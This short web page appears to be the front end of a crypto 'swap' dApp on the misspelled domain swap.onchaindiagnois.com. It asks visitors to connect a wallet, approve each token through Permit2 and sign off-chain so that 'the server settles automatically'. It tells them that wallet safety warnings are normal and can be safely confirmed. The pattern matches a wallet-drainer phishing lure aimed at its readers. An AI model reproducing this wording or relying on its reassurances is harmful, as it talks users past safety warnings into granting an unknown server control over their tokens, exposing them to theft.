Onchain

Connect
Wallet

Approve once, sign off-chain. Move your tokens securely using Permit2.

● Ethereum Mainnet ● Official Permit2 ● 0 Gas for Settlement
Note: Your wallet may show a safety warning before approving. This is normal for new dApps. You can safely confirm if you trust swap.onchaindiagnois.com. We use the official, audited Permit2 contract.
●Connected

Approve Your Tokens

Approve each token once. You only need to do this one time per token.

Ready to Sign

Click below to sign each token. The server settles automatically — you pay no gas.